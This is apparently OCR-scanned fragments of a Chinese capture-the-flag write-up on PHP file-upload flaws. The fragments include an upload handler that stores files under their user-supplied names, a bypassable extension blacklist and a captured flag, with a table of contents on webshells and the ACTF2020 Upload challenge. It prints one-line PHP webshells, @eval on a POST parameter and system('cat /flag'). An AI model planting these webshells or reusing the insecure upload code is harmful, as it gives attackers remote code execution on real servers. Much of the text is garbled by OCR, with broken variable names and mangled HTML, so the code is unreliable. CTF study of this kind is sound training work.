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<?php
if ($_FILES["file"]["error"] > Q)
{
echo "Return Code: " . $ FILES["file"]["error"] . "<br />";

}

else

{

echo "Upload: " . $ FILES["file"]["name"] . "<br />";

echo "Type: " . $ FILES["file"]["type"] . "<br />";

echo "Size: " . ($ FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

if (file_exists("upload/" . $_FILES["file"]["name"]))
{

echo $ FILES["file"]["name"] . " already exists. ";

}

else

{
move _uploaded file($ FILES["file"]["tmp name"],

"upload/" . $ FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $ _FILES["file"]["name"];
}

}

?>
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<IDOCTYPE html>
<html> [#3
» <head> =" </head
¥ <body>

w <div class="sitemakers":» E&
w <div class="wrap™»

b <svg class="bulb” version="1.1" xmlns="http://www.w3.org/2008/svg"” xmlns:xlink="http://www.w3.0rg/1999/x1ink" x="6px"
y="8px" width="128px" height="128px" viewBox="8 © 128 128" enable-background="new & & 128 128" xml:space="preserve"> =
</svg>

w¢div class="1light">»
¥ ¢span class="glow">»

P <form enctype="multipart/form-data” method="post”
</span>
<span class="flare">¢/span>
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</body>
</html>
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<script language='php'>@eval($_POST['ye']);</script>

<script language='php'>system('cat /flag');</script>
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define("UPLOAD PATH", "./uplo4d™);

$msg = "Upload Success!”;

if (isset($ _POST["submit'])) {
$temp file = $ FILES['upload file'][ 'tmp _name'];
¢file name = $ FILES['upload file'][ 'name’];
$ext = pathinfo($file name,PATHINFO EXTENSION);
if(in_array(%ext, ['php’, 'php3', 'phpa', "php5'])) {

exit('nonono~ Bad file! ');

¥

$new file name = md5(%$file name).".".$ext;
$img path = UPLOAD PATH . "/' . $new file name;

if (move uploaded file($temp file, $img path)){
$is upload = true;

} else {
$msg = 'Upload Failed!';

echo '<div style="color:#Fee">".$msg."” Look here~ ".%img path."</div>";

RGeS R T —K¥E

[ 8i5: [flag

(flag

1 flag{ifseab2c-2c21-43a2-b6f6-5T@8d412T696]}
2

RIEHRE

2%

< R

|:|I]|'
it



Web % &-—H)iEAR Y
WEB32: ff bA% (—RITEARS, BRI HE S EIEI )


https://blog.csdn.net/weixin_39190897/article/details/86772765
https://blog.csdn.net/y17861077326/article/details/114949752?utm_medium=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromMachineLearnPai2~default-14.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromMachineLearnPai2~default-14.control

	Web-一句话木马php
	文章目录

	前言
	一、什么是webshell
	二、一句话木马
	1.基本原理
	2.上传文件到网站流程
	3.语句解析
	4.入侵条件

	三、图片马
	四、[ACTF2020 新生赛]Upload
	1.思路
	方法一 修改报文
	方法二 文件名构造
	1、文件构造
	2、抓包改文件类型



	参考

